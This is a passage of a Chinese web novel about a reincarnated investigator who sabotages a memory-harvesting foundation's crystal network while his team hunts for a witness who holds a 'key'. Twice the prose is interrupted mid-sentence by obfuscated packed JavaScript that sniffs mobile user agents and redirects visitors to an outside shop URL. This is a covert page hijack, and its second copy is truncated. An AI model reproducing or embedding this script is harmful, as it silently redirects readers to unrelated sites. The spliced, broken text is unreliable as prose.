他看向沈鉴。 “你不是一直想知道,为什么我的记忆防火墙总是出现裂缝吗?不是因为崩溃,是因为……我在主动释放记忆碎片。每一次疼痛,每一次闪回,都是我在向集团的数据库‘投喂’数据——虚假的、矛盾的、会导致系统逻辑错误的数据。” 沈鉴的眼睛骤然睁大。 “你在……污染他们的数据库?” “三年。”君荼白点头,“每周三凌晨三点十七分准时‘醒来’,是定时上传。每一次去咖啡馆见陆予瞻,不是巧合,是数据交接。每一次修复古籍时墨迹重组,不是幻觉,是我在测试集团对‘异常数据’的反应阈值。” 他握紧那颗忆晶石。 “而现在,我站在这里。他们的核心生产基地。手里拿着他们最珍贵的‘样本’——我的第一世记忆。你们猜,如果我现在把这块忆晶石……插回读取器,会发生什么?” 沈鉴迅速调出平板上的数据模型,手指飞快计算。 “如果……如果忆晶石内部被篡改过……”他喃喃道,“插入核心读取器时,篡改程序会顺着数据链路反向注入……会污染整个记忆网络……会导致所有忆晶石的数据互相覆盖、混乱、最终……崩溃。” “需要多久?”周屹问。 “取决于数据量。”沈鉴盯着屏幕,“这个网络连接着一万四千多颗忆晶石,总数据量……崩溃过程大约需要四十八小时。四十八小时后,所有记忆数据将变成无法解析的乱码。” 君荼白点头。 “和我们的炸药倒计时一样。” 他看向周屹。 “周屹,炸药设定好了吗?” “四十八小时后引爆。”周屹点头。 “沈鉴,你需要的数据拷贝完了吗?” “核心结构数据已获取。”沈鉴收起平板。 “那好。”君荼白深吸一口气,走向房间中央那个圆柱形读取器,“现在我们来做最后一件事。” 读取器正面有一个凹槽,大小正好和忆晶石吻合。 君荼白将那颗深紫色的忆晶石举到凹槽前,停顿了一下。 他想起了第一世。 黑暗的仓库。孩子的哭声。烙铁烧焦皮肉的气味。还有最后时刻,他用碎玻璃刻下手腕时,心里想的那个念头: “如果这次我死了,下一次……一定要更接近一点。” 一百四十六次死亡。 一百四十六次“更接近一点”。 现在,是第一百四十七次。 他终于站在了核心面前。 “陆予瞻。”君荼白轻声说,像是自言自语,又像是在对某个遥远时空里的人说话,“这一世,你们不用再看我死了。” 他按下忆晶石。 晶体滑入凹槽,严丝合缝。 读取器内部传来低沉的嗡鸣,紧接着,整个地下空间的灯光开始明灭闪烁。墙壁上那些忆晶石的光芒也变得不稳定,忽明忽暗,像呼吸,又像垂死挣扎。 屏幕上,数据流开始疯狂滚动。 警告:检测到异常数据注入 警告:记忆网络出现逻辑冲突 警告:开始执行系统自检……自检程序被篡改…… 错误:错误:错误: 读取器表面浮现出蛛网般的裂纹,裂纹中透出诡异的蓝光。 “走。”君荼白转身,“污染程序已经启动。四十八小时后,这里的一切都会崩溃。在那之前,我们要撤离所有证据,找到陈子轩,然后……” 他没有说完。 但沈鉴和周屹都明白了。 三人迅速撤离地下空间。楼梯上方传来急促的脚步声——工厂的守卫终于察觉了异常。 周屹打头阵,沈鉴居中,君荼白殿后。快到出口时,君荼白回头看了一眼。 地下二层,那些忆晶石的光芒正在以一种诡异的节奏同步闪烁,像某种巨大生物的心跳。读取器已经彻底被蓝光吞没,裂纹蔓延到地面,整个空间都在微微震颤。 结束了。 这一百四十七世的轮回。 这一场持续了不知多少年的战争。 终于,到了要结束的时候。 君荼白转回头,跟上沈鉴和周屹,冲出了工厂主楼。 晨光刺眼。 车子发动,驶离废弃厂区。 君荼白坐在副驾驶,最后看了一眼后视镜。工厂在晨雾中逐渐缩小,像一个正在溃烂的疮疤。 他闭上眼睛,感受着胸口那颗已经空空如也的位置,忆晶石留在了读取器里,正在执行它最后的使命。 “去孤儿院。”君荼白睁开眼睛,“找陆予瞻。告诉他……时候到了。” 沈鉴点头,调转方向盘。 车子驶向城市,驶向那座藏着最后真相的孤儿院,驶向那个等了一百四十七世的人。 上午九点,归家孤儿院。 陆予瞻站在二楼窗前,看着窗外安静的巷子。晨雾已经散尽,阳光洒在湿漉漉的青石板上,反射出细碎的光。两个孩子在隔壁房间沉睡,呼吸平稳,沈鉴离开前说他们会在中午前苏醒。 但陆予瞻的心跳依然很快。 从君荼白三人离开到现在,已经过去了将近两个小时。没有消息,没有通讯,什么都没有。 这不正常。 沈鉴的习惯是每三十分钟汇报一次情况。周屹虽然沉默,但至少会发一个“安全”的信号。可现在,通讯频道里一片死寂。 陆予瞻的手无意识地摩挲着手机边缘。他的指尖冰凉,掌心却渗出汗。脑子里反复回放着昨晚的画面——君荼白心脏停跳时监测仪上的那三秒直线,君荼白昏迷时紧皱的眉头,还有今早离开时苍白的侧脸。 “队长。” 那个声音又在记忆里响起,第一世,君荼白临死前的声音。 “孩子们……救出来几个?” 都这种时候了,还在想别人。 一直都是这样。 一百四十七世,君荼白永远在往前冲,永远在承担,永远在受伤。而陆予瞻永远在后面追,永远差一步,永远来不及。 这一次,他不想再“来不及”了。 陆予瞻拿出手机,准备拨打沈鉴的号码。 就在手指即将按下拨号键时,巷口传来了汽车引擎的声音。 他冲到窗前。 沈鉴的车缓缓驶入巷子,停在了孤儿院门口。车门打开,周屹先下车,警惕地环顾四周后才拉开车门。 君荼白从副驾驶座出来。 陆予瞻的心脏猛地一紧。 君荼白的脸色比离开时更差了,苍白得近乎透明,眼下有浓重的阴影。他下车时晃了一下,周屹伸手想扶,但君荼白摆了摆手,自己站稳了。 然后他抬起头,看向二楼窗户。 两人的目光在空中相遇。 君荼白的眼睛里有什么东西不一样了。不是疲惫,不是痛苦,是更深的东西——一种沉重的、几乎要将人压垮的“知道”。 他知道什么了? 陆予瞻转身冲出房间,快步下楼。 客厅里。 沈鉴正在整理设备,周屹检查门窗,君荼白则坐在沙发上,闭着眼睛,一只手按着太阳穴。 陆予瞻走进来时,三人都抬起头。 “工厂里有什么?”陆予瞻开门见山,目光在三人脸上扫过,最后停在君荼白身上。 “忆晶石。”沈鉴回答,语气严肃,“大量忆晶石。根据编号统计,从1905年到现在,至少有一万四千名受害者。” 陆予瞻的呼吸一滞。 “一万四……?” “而且不止。”君荼白睁开眼睛,那双眼睛里没有光,只有深不见底的暗,“基金会一直在系统性地收集和复制记忆。他们建了一个……记忆网络。” 他顿了顿,看向陆予瞻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052015|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我在那个网络里,看到了一些东西。” 陆予瞻的心跳漏了一拍。 “关于……什么?” “关于所有人。”君荼白的语气很平静,平静得可怕,“关于我们四个人,我们失去的人,我们……不知道的真相。” 客厅里安静下来。 沈鉴和周屹都停下了手里的动作,看向君荼白。 “你想说什么?”陆予瞻问,声音有些发紧。 “我们先拿到证据。”君荼白说,“沈鉴已经拷贝了工厂里的数据。我们需要整理,分析,找出基金会的所有犯罪记录。然后,我们要找到陈子轩——在他完全失忆之前,让他说出他知道的一切。” “然后呢?” “然后我们公开一切。”君荼白说,“把证据交给警方,交给媒体,让全世界都知道基金会做了什么。当舆论压过来,当警方介入,基金会的防护就会出现漏洞。那时候,我们再进去救其他人。” 陆予瞻闭上眼睛,深深吸了一口气。 “好。”他说,“按你的计划来。” 但他睁开眼睛时,君荼白看到了里面的东西——那不是放弃,是暂时压抑。陆予瞻在等,等一个机会,等一个可以不顾一切冲出去的时机。 君荼白知道这一点,但他没有说破。 因为每个人都有必须背负的东西。 “现在。”君荼白转身走向楼梯,“我去看看那两个孩子。他们应该快醒了。” “等一下。”陆予瞻叫住他。 君荼白停住脚步,没有回头。 “你的状态不对。”陆予瞻走到他面前,仔细打量他的脸,“你的脸色太差了,眼睛里有血丝,呼吸也不稳。刚才在工厂……发生了什么?” “我进入了记忆网络。”君荼白简单地说,“看到了太多东西。需要时间……消化。” “只是这样?” 君荼白没有回答。 陆予瞻伸手想碰他的额头,测试体温,但君荼白本能地后退了半步。 那个动作很小,但陆予瞻的手停在了半空。 两人的目光在空中相遇。 “你还在抗拒。”陆予瞻说,声音里有一种复杂的情绪——有关切,有受伤,有困惑,“从恢复记忆开始,你就一直这样。拒绝触碰,拒绝靠近,拒绝……任何形式的关心。” “我有我的原因。” 他抬起头,直视陆予瞻。 “心脏停跳的那三秒,母蛊判定宿主死亡,自动解除了。那就是我的状态,陆队。我站在悬崖边上,随时可能掉下去。你靠近我,想拉我,但你的每一次触碰,都是在把我往悬崖外推。” 陆予瞻的脸色白了。 “我不是那个意思——” “我知道你不是。”君荼白说,“但结果是一样的。你的关心,你的担忧,对我来说,它们都是负担。因为我无法回应。” 他顿了顿,似乎在斟酌用词。 “是因为……我这个人,这具身体,这个灵魂,已经坏了。被那些记忆,那些触感,那些……东西,彻底弄坏了。” 他的声音很平静,但平静下面有一种深不见底的疲惫。 “我不能正常地回应任何人,因为我的身体记得太多不该记得的事,我的灵魂被那些肮脏的记忆泡了太久。任何靠近,任何触碰,任何……感情,都会触发连锁反应。恶心,冷汗,颤抖,还有……自我憎恨。憎恨这具记住了一切的身体,憎恨这个无法忘记的灵魂。” 客厅里安静得可怕。 沈鉴和周屹都没有说话,他们知道这不是他们该插嘴的时刻。 陆予瞻看着君荼白,看了很久。他的眼神很复杂——有心疼,有理解,有痛苦,还有一种深藏的、永远无法说出口的东西。 “我只是想帮你。”他最后说,声音很轻。 “我知道。”君荼白点头,“但帮我最好的方式,是保持距离。让我做完该做的事,让我救出那147个人,让我……结束这一切。然后,也许有一天,我能重新学会怎么当一个……正常的人。” 他停顿了一下,补充道: “但如果那一天永远不会来,你也要接受。因为这就是我的真实状态。一个被记忆毁掉的……容器。” 说完,他转身上楼。 脚步声在楼梯上回荡,很轻,但每一步都像踩在陆予瞻的心上。 陆予瞻站在原地,看着君荼白消失在楼梯转角。他的拳头握紧了又松开,松开了又握紧。 沈鉴走过来,拍了拍他的肩膀——一个罕见的、表达安慰的动作。 “给他时间。”沈鉴说,“他现在背负的东西太多了。一万四千名受害者的记忆,还有我们三个人的秘密……那些信息量,足以压垮任何人。” “我知道。”陆予瞻的声音嘶哑,“我只是……忍不住。” “忍不住什么?”周屹忽然开口,他走到陆予瞻面前,直视他的眼睛,“不要让他……负担。” 这句话很直接,甚至可以说很残忍。 但陆予瞻听懂了。 周屹在说:你的心疼,你的无法放手——那是你的事,不要把它们变成君荼白的又一项负担。 陆予瞻苦笑。 “你说得对。”他说,“我只是……需要一点时间,学会怎么把这些东西……收好。” 周屹点头,转身走向厨房:“我去准备食物。你们……需要补充能量。” 沈鉴继续整理数据。 陆予瞻走到窗边,看着窗外。 阳光很好,巷子里有孩子在玩耍,笑声清脆。 20. 倒计时 二楼,孩子们的房间。 君荼白推开门时,那个男孩已经醒了。他坐在床上,抱着膝盖,眼睛盯着窗外,眼神空洞。 女孩还在睡,但眉头紧皱着,像在做什么噩梦。 君荼白走到男孩床边,在椅子上坐下。他没有靠太近,保持着安全的距离。 “你醒了。”他说。 男孩转过头,看着他。那双眼睛很大,很黑,但里面没有任何光。 “你们是谁?”男孩问,声音很轻,很哑。 “救你的人。”君荼白回答,“你现在安全了。那个孤儿院,那些人……不会再伤害你了。” 男孩沉默了很久。 然后他说:“我妹妹呢?” “在旁边床上。”君荼白指了指,“她还在睡,但很快就会醒。她没事,和你一样安全。” 男孩看向妹妹,眼神柔和了一瞬,但很快又恢复了空洞。 “他们给我们……种了东西。”他说,手不自觉地摸向额头,“在脑子里。凉凉的,会动。” “已经取出来了。”君荼白说,“现在你们脑子里干净了。那些东西……不会再控制你们了。” 男孩看着他,似乎在判断真假。 良久,他问:“你们为什么要救我们?” 这个问题很直接,也很沉重。 君荼白想了想,给出了最诚实的答案: “因为很久以前,也有人救过我。”他说,“在我快要死的时候,有人伸出了手。所以现在,我也要伸出手。就这样。” 男孩盯着他看了很久。 然后他点了点头,像是接受了这个解释。 “那些人……还会来吗?”他问,声音里有一丝几乎察觉不到的颤抖。 “会。”君荼白没有撒谎,“但这次,我们会做好准备。这次,不会让他们再带走任何人。” 男孩沉默了一会儿。 “我可以帮你。”他说。 君荼白一愣。 “帮我什么?” “我知道一些事。”男孩的声音很低,“关于那些人,关于他们的习惯,关于他们的……弱点。” 他抬起头,直视君荼白的眼睛。 “他们以为我睡着了,但我没有。我听到了他们的谈话。他们说要去找一个叫‘陈子轩’的人,说他中了什么蛊,快要失忆了。还说如果他不记得那些‘钥匙’在哪里,就把他处理掉。” 君荼白的心跳加快了。 “钥匙?什么钥匙?” “不知道。”男孩摇头,“但他们说得很重要。说没有那些钥匙,就打不开‘最终的门’。还说……时间不多了,满月之后,门就会永久关闭。” 满月之后。 君荼白算了一下时间——昨晚是满月,今天是农历十六。按照传统说法,满月的能量会持续三天。 也就是说,他们还有两天时间。 “你还听到了什么?”他问。 男孩努力回忆:“他们说……基金会的老大,一个姓‘林’的人,已经不耐烦了。说陈子轩搞砸了太多事,这次如果拿不到钥匙,就把他做成‘活体标本’。” 姓林的人。 君荼白在记忆网络里搜索这个名字,但信息太多,一时间无法定位。 “谢谢你。”他对男孩说,“这些信息很重要。” 男孩点了点头,又看向窗外的阳光。 “外面的世界……是什么样的?”他忽然问,“我已经……很久没看过了。” 君荼白顺着他的目光看向窗外。 巷子里,几个孩子在跳皮筋,笑声像银铃一样清脆。远处的天空很蓝,有几朵白云在慢慢飘。 “有阳光。”君荼白说,“有风。有笑声。也有痛苦,也有眼泪。但总体来说……值得活下去。” 男孩转过头,看着他。 “你真的这么觉得?” “真的。”君荼白点头,“因为如果我不这么觉得,我早就放弃了。但我还在这里,还在战斗。所以,我觉得值得。” 男孩沉默了很久。 然后他说:“我也想看看。” “你会看到的。”君荼白站起来,“等你妹妹醒了,带你们去院子里。晒太阳,吹风,看其他孩子玩耍。一步一步来。” 他走到门口,又回头。 “你叫什么名字?” 男孩顿了顿,轻声说:“小雨。我叫陈小雨。” 君荼白的脚步停住了。 陈小雨。 五年前在雨夜失踪的女孩,九岁,会给小玲留下那幅画的那个陈小雨。 可是……这是个男孩。 “你……”君荼白的声音有些发紧,“你认识一个叫小玲的女孩吗?” 男孩——陈小雨的眼睛亮了一下。 “小玲?她在哪里?她还好吗?” “她很好。”君荼白说,心跳得很快,“她在孤儿院里,很安全。她一直留着你的画。” 陈小雨的眼泪掉了下来。 那是他醒来后,第一次流露出真实的情绪。 “那张画……”他哽咽着说,“是我在梦里画的。我梦见地下有很多房间,每个房间都关着人。我梦见一个手腕上有月亮的人,打开了那些房间的门……然后我就醒了,把梦画了下来。” 他擦掉眼泪,看向君荼白。 “那个人……是你吗?” 君荼白抬起左手,露出手腕上的月牙疤痕。 陈小雨盯着那道疤,看了很久。 然后他点了点头,像是确认了什么。 “是你。”他说,“我在梦里看到的就是你。你在开门,把所有人都放出来。” 他顿了顿,补充了一句: “但你的表情……很痛苦。像在付出很大的代价。” 君荼白握紧了拳头。 代价。 是啊,一切都有代价。 但他已经准备好了。 “好好休息。”他对陈小雨说,“等你妹妹醒了,我带你们去见小玲。” 他走出房间,轻轻关上门。 走廊里很安静。 君荼白靠在墙上,闭上眼睛。 手腕上的蛊印还在隐隐作痛,脑子里还有无数记忆的碎片在闪烁。 陈小雨说的“钥匙”是什么? “最终的门”又是什么? 姓林的人,是谁? 还有……满月之后,门会永久关闭。 时间,真的不多了。 君荼白深吸一口气,睁开眼睛。 他需要找到陈子轩。 走廊的寂静被心跳声放大。 君荼白靠在墙上,左手腕的痕迹如脉搏般隐隐搏动,每一次跳动都在呼应着陈小雨那句“像在付出很大的代价”。代价——这个词在他舌尖滚过,带着铁锈般的血腥味。一百四十七世,他付过的代价还少吗? 但这次不一样。 这次有147个具体的名字,147个被困在镜渊里燃烧的孩子。还有一个叫周屿的男孩,被基金会改造成“次级容器”,而他的哥哥周屹,此刻就在楼下,胸口还缠着他亲手剜出子蛊后留下的绷带。 君荼白深吸一口气,强迫自己站直身体。疼痛从手腕蔓延到脊椎,记忆碎片在神经末梢横冲直撞。他需要压制它们,至少现在需要。陈小雨给的线索太重要。 “钥匙”、“最终的门”、“姓林的人”、“满月之后永久关闭”。 每一个词都像拼图的一块,而君荼白手里握着的那块——陈子轩——正悬在悬崖边缘。基金会要把他做成“活体标本”,这意味着他们很可能已经锁定了他的位置。 时间,真的不多了。 楼下客厅里,气氛比地下室还要凝重。 沈鉴已经将陈小雨提供的信息输入数据库,屏幕上滚动着交叉比对的结果。陆予瞻站在窗前,背对房间,右手无意识地把玩着那枚老式打火机——君荼白认出那是陆予薇当年逃出仓库时带走的东西。周屹坐在沙发上,低着头,不知道在思考什么。 “陈小雨醒了。”君荼白走下楼梯,声音尽量平稳,“他提供了几个关键信息。” 三双眼睛同时聚焦过来。 君荼白复述了陈小雨的话,每说一句,客厅里的气压就低一分。说到“满月之后门会永久关闭”时,沈鉴猛地抬头:“今天是农历十六,满月能量还会持续到后天凌晨。也就是说……” “我们还有不到四十八小时。”陆予瞻转过身,打火机在他掌心合拢,发出清脆的金属撞击声,“而且基金会已经在找陈子轩了。如果被他们先找到……” “钥匙就没了。”周屹接话,声音嘶哑,“门就打不开。” “不止。”沈鉴调出一组数据,“我从记忆网络里残留的碎片中,拼凑出一些关于‘最终的门’的信息。那不是普通的门——是基金会用七座记忆工厂作为节点,在全球范围内构建的一个‘意识通道网络’。门一旦完全打开,他们可以将筛选过的‘优质痛苦记忆’批量灌入普通人的意识,制造大规模的精神污染。” 陆予瞻的眼神沉了下去:“就像陈小雨说的,他们要污染全世界 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两人对视一眼,陆予瞻先移开视线,语气恢复了惯常的温和:“荼白,你需要留在这里。陈小雨和他妹妹刚醒,基金会可能还在追踪他们。而且……”他顿了顿,“你的身体状态不适合高强度行动。” 君荼白想反驳,但手腕突然传来一阵尖锐的刺痛——那是蛊印在警告他,体内的记忆碎片又开始不稳定了。他咬紧牙关,把涌到喉咙的血腥味咽了回去。 “陆队说得对。”沈鉴也投了反对票,“你刚进入过记忆网络,精神负荷已经超载。再强行行动,可能会导致记忆崩溃。” 三比一。 君荼白看着面前的三个人。他突然意识到,这一百四十七世,他习惯了冲在最前面,习惯了用死亡换时间,却很少像现在这样,被明确地、坚决地保护在后方。 这种感觉很陌生。 也很……沉重。 “那你们呢?”他问。 “我和周屹分头行动。”陆予瞻已经走到墙边,打开暗格,开始挑选武器,“沈鉴留守,负责监控和情报支持。你——”他看向君荼白,“照顾好那两个孩子,还有你自己。” 他说“照顾好你自己”时,语气很轻,轻得像一句随口的嘱咐。但君荼白听出了里面的重量,那是陆予瞻这一百四十七世,每一次看着他死去时,想说但没机会说的话。 “找到陈子轩后,怎么处理?”周屹问,他正在检查手枪的弹匣,动作熟练得像是身体的第二本能。 “带回来。”陆予瞻说,“他是关键证人,也是唯一知道钥匙下落的人。但前提是——” “前提是他还认得钥匙。”沈鉴补充,“如果记忆流失太严重,我们可能什么都问不出来。” “那就想办法让他想起来。”周屹把枪插回腰间,眼神冷得像冰,“无论用什么方法。” 君荼白的心猛地一沉。 他想起了陈小雨说的话——“如果他不记得那些钥匙在哪里,就把他做成活体标本”。基金会会这样做,那他们呢?为了阻止更大的灾难,他们会走到哪一步? “周屹。”君荼白叫住他。 周屹回头。 “别……”君荼白张了张嘴,想说什么,但话卡在喉咙里。别变成他们那样?别为了目的不择手段?可他自己呢?这一百四十七世,他不也做过很多灰色地带的事吗? “我知道分寸。”周屹说,声音很平静,“但有些事情,没有干净的解法。” 说完,他转身走向门口。 陆予瞻跟上去,经过君荼白身边时,停顿了一下。他的右手抬起,似乎想碰碰君荼白的肩膀,但最终只是悬在半空,轻声说:“等我们回来。” 然后两人消失在门外。 发动机的声音远去,客厅里只剩下君荼白和沈鉴。 “你觉得他们会找到陈子轩吗?”沈鉴问,眼睛还盯着屏幕。 “会。”君荼白说,“但他们可能会付出代价。” “什么代价?” 君荼白没有回答。他走到窗边,看着车子驶出巷口,消失在街道尽头。手腕上的月牙痕还在隐隐作痛,但这一次,疼痛里多了一些别的东西——一种不好的预感,像阴云一样笼罩在心头。 陈小雨说,梦里看见他打开门时,表情很痛苦。 那是不是意味着,这次的代价,会比以往任何一次都大? “沈鉴。”君荼白转身,“我要再看一次陈小雨的画。” 21. 倒计时(续) 二楼房间。 陈小雨的妹妹已经醒了,是个瘦小的女孩,大概六七岁,紧紧抱着哥哥的手臂,眼睛怯生生地看着走进来的君荼白和沈鉴。 “这是小月。”陈小雨介绍,“我妹妹。” 君荼白蹲下身,和小女孩平视:“你好,小月。我叫君荼白。” 小女孩往哥哥身后缩了缩,没说话。 “她不太会说话了。”陈小雨轻声解释,“被关起来之后,就很少开口。” 君荼白的心揪紧了。他看着这个年龄本该在阳光下奔跑的孩子,现在却像受惊的小动物一样蜷缩着,眼睛里全是恐惧。 “那张画,”他转向陈小雨,“能再给我看看吗?” 陈小雨从枕头下小心翼翼地抽出一张折叠的纸——就是小玲一直珍藏的那张画。纸已经泛黄,边缘磨损,但上面的铅笔线条依然清晰。 君荼白接过画,仔细看。 画的是一个地下空间,有很多小房间,每个房间里都关着一个人。画面的正中央,是一扇巨大的门,门前站着一个身影。那个人左手腕上有一个清晰的月牙形标记,正在伸手推门。 而那个人的脸上,确实如陈小雨所说——表情痛苦到扭曲。 “这是我失踪前一个月画的。”陈小雨说,“画完之后,我就开始做噩梦。梦见自己站在那扇门前,门里有很多手伸出来,想把我拉进去。然后我就醒了,发现自己在画这张画。” “你记得门里有什么吗?” 陈小雨摇头:“只记得很黑,很冷,还有……很多哭声。” 君荼白把画递给沈鉴。沈鉴用便携扫描仪扫描了画面,导入分析程序。 “这扇门的结构……”沈鉴盯着屏幕上的三维重建模型,“和镜渊的入口有87%的相似度。但比镜渊更复杂,多了一些符文结构——这些符文我在古籍里见过,是‘灵魂禁锢’和‘意识融合’的复合咒文。” “什么意思?” “意思就是,这扇门不只是关着灵魂,还在把不同的灵魂融合、重组,制造出某种……新的东西。”沈鉴的脸色越来越白,“基金会想要的,可能不只是打开门,而是通过这扇门,创造出一种‘集体意识体’——一个由无数痛苦灵魂融合而成的、可以控制人类精神世界的……怪物。” 君荼白想起记忆网络里看到的“千面佛”——那个由147张哭泣面孔组成的佛像。如果那只是雏形,那么“最终的门”后面,会是什么? “钥匙的作用是什么?”他问。 “从符文结构来看,钥匙应该是用来‘校准频率’的。”沈鉴调出另一组数据,“七座记忆工厂,每座工厂都有一个核心的‘痛苦频率’。七种频率需要按照特定顺序共振,才能完全打开门。钥匙,很可能就是记录这七种频率顺序的密码。” “陈子轩知道这个密码。” “对。但问题是,”沈鉴看向君荼白,“如果我们拿到了密码,我们要用它来开门吗?还是……毁了它?” 这是一个道德困境。 开门,可能会释放出无法控制的怪物。 毁掉钥匙,门虽然打不开,但147个孩子的灵魂将永远困在镜渊里。 君荼白闭上眼睛。 脑海里浮现出周屹的脸——那个沉默的男人,为了救弟弟,可以挖出自己的心脏。如果告诉他,毁掉钥匙能阻止更大的灾难,但代价是周屿永远无法解脱,他会怎么选? 还有陆予瞻。 那个表面温和,内心却藏着黑暗的男人。他会不会为了“更大的善”,选择牺牲那147个孩子? 还有他自己。 一百四十七世,他一直在救人,救一个,救几个,救一群。但从来没有面对过这样的选择:救147个,还是救全世界? “我们需要更多信息。”君荼白最终说,“等陆队和周屹把陈子轩带回来,问出钥匙的下落,再做决定。” 沈鉴点头,但眼神里有一丝不确定。 他太了解数据,也太了解人性。数据可以计算概率,但人性无法预测。尤其是在极端压力下,人会做出什么选择,连自己都无法预料。 窗外天色渐暗。 距离满月能量完全消失,还有四十小时。 距离“最终的门”永久关闭,还有四十小时。 距离他们必须做出选择的时刻,还有四十小时。 君荼白站在窗前,看着夜幕降临。巷子里的路灯一盏盏亮起,暖黄色的光晕在夜色中显得格外脆弱。 他想起了第一世,被扔在在坑里的那个夜晚。那时候他想的很简单:救出那几个孩子,完成任务,如果可能的话,活下去。 可现在,一切都变得复杂了。 有要救的人,有要阻止的灾难,有要守护的世界,还有……要面对的,自己内心深处的恐惧。 恐惧做错选择。 恐惧付不起代价。 恐惧这一次,他可能真的救不了所有人。 手腕上的月牙痕突然剧烈搏动起来,像是感应到了什么。君荼白按住手腕,望向东南方向,那是周屹和陆予瞻离开的方向。 不好的预感越来越强烈。 他有一种感觉:今晚,会有事发生。 大事。 夜幕彻底吞没城市时,陆予瞻和周屹的车正穿过老城区错综复杂的小巷。 车内没有开灯,只有仪表盘幽蓝的光映着两人的脸。陆予瞻开车,左手搭在方向盘上,右手随意垂在腿侧——但周屹注意到,那只手的食指每隔几秒就会无意识地在裤缝上敲击一下,那是部队行动前测算时间的习惯性动作。 “城南废弃工厂区有三个可能地点。”周屹调出平板上的卫星地图,用红色标记了三个坐标,“糖厂旧址、纺织厂仓库、还有上世纪七十年代废弃的化工厂。基金会早期活动多集中在这些地方。” “陈子轩会选哪里?”陆予瞻问,声音很平静。 周屹沉默了片刻:“化工厂。地下结构最复杂,有完整的防空洞系统,易于隐蔽和转移。” 陆予瞻打了转向灯,车子拐进一条更窄的巷子:“理由?” “陈子轩不傻。”周屹看着窗外掠过的破旧建筑,“他知道基金会在找他,也知道我们在找他。选一个易守难攻、有逃生通道的地方,符合他的风格。” “也符合他给自己留后路的习惯。”陆予瞻补充,语气里有一丝不易察觉的冷意,“他永远都有备用计划。” 周屹没接话。他看着后视镜里逐渐远去的城市灯火,突然问:“陆队,如果找到陈子轩,但他已经什么都不记得了,怎么办?” 车子经过一盏坏掉的路灯,车厢内陷入短暂的黑暗。黑暗中,陆予瞻的声音听起来有些失真: “那就帮他想起来。” “怎么帮?” “总有办法。”陆予瞻说,“痛苦,恐惧,濒死体验——这些东西能刺激记忆深层区域。基金会用了一百多个轮回研究记忆和意识的关联,我们至少可以……借鉴他们的方法。” 周屹握紧了拳头。他想起了第一世最后那七天,想起了陆予瞻对名单上那些人做的事。那种“借鉴”方法,他见过。 “荼白不会同意。”他说。 “所以不需要他知道。”陆予瞻的声音依然平静,“有些事,知道的人越少越好。” 车子驶入化工厂外围的废弃区域。这里曾是工业区,如今只剩断壁残垣,杂草从水泥裂缝里疯长,在夜风中发出簌簌的响声。陆予瞻把车停在一栋半坍塌的办公楼后,熄火。 两人下车,借着月光检查装备。 周屹带的是标准配置:手枪、匕首、绳索、急救包。陆予瞻除了这些,还从后备箱取出了一个黑色的长条工具箱——周屹认出那是特制的解剖工具包,心里一沉。 “陆队,我们只是来问情报。”周屹提醒。 “我知道。”陆予瞻合上工具箱,锁扣发出清脆的咔哒声,“但有备无患。” 他们从化工厂侧面的一处缺口进入。地面散落着锈蚀的管道和破碎的玻璃,空气中弥漫着化学试剂残留的刺鼻气味。周屹打头阵,特种兵的夜战训练让他在黑暗中如鱼得水。陆予瞻跟在后面,脚步很轻,几乎听不见声音。 按照情报,陈子轩可能藏在地下防空洞的第三区。那里有完整的通风系统和独立电源,是理想的藏身地。 通往地下的楼梯锈蚀严重,踩上去会发出吱呀的呻吟。周屹示意陆予瞻放慢脚步,自己先下去探路。手电筒的光束切开黑暗,照出墙壁上斑驳的标语——“安全生产,重于泰山”,字迹已经被岁月侵蚀得模糊不清。 楼梯尽头是一扇厚重的铁门,虚掩着。周屹贴在门边听了听,里面没有动静。他用手势示意陆予瞻准备,然后猛地推开门,枪口指向室内—— 空的。 不,不完全空。 房间中央有一张桌子,桌子上放着一盏应急灯,灯还亮着,发出惨白的光。灯下压着一张纸。 陆予瞻走过去,拿起那张纸。上面只有一行字,是用血写的: “别找了,钥匙不在我这里。” 落款:陈子轩。 “他料到我们会来。”周屹环顾四周,房间里除了这张桌子,什么都没有,连灰尘都被仔细清扫过,“而且他提前转移了。” 陆予瞻没说话。他盯着那张纸看了很久,然后突然笑了,是一种冰冷的、没有任何温度的弧度。 “有意思。”他说,“他在跟我们玩捉迷藏。” “怎么办?” “他一定还在这附近。”陆予瞻把手电筒照向地面,光束在地板上移动,“看这里灰尘的痕迹。桌子被移动过,而且是最近。他清理了整个房间,但忘了处理地板上的拖痕。” 拖痕延伸到房间角落的一处通风口。通风口的栅栏被拆掉了,露出黑漆漆的管道。 周屹蹲下身检查:“管道里有新鲜的血迹。他受伤了。” “或者……”陆予瞻也蹲下来,用戴着手套的手指抹了一点血迹,凑到鼻尖闻了闻,“他在给自己放血。用血腥味掩盖其他气味。” “掩盖什么?” “蛊虫的气味。”陆予瞻站起身,“陈子轩擅蛊,他可能在这里布下了陷阱。如果我们贸然追进去,可能会中招。” 周屹看着那个通风口,又看了看陆予瞻:“那就不追了?” “追。”陆予瞻从工具箱里取出一个小瓶子,倒出一些粉末撒在通风口周围,“但要小心。” 粉末接触空气后发出微弱的荧光,照亮了管道内壁——上面密密麻麻爬满了黑色的虫卵,还在微微蠕动。 “噬魂蛊。”陆予瞻识别出来,“碰一下,蛊虫就会钻进皮肤,直抵大脑。中蛊者会在三天内逐渐失去所有记忆,变成空壳。” “他不想杀我们,只想让我们失去记忆?” “因为他知道,杀了我们,君荼白不会放过他。”陆予瞻又撒了一层粉末,这次是白色的,虫卵接触到粉末后迅速干瘪死亡,“但让我们失忆……我们就不会继续追查了。很聪明,也很仁慈。” 周屹看着陆予瞻娴熟地处理蛊虫,突然问:“陆队,你对蛊术很了解?” “这些年,学了一点。”陆予瞻轻描淡写,“毕竟要对付基金会,得多准备几手。” 处理完蛊虫,两人先后钻进通风管道。管道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 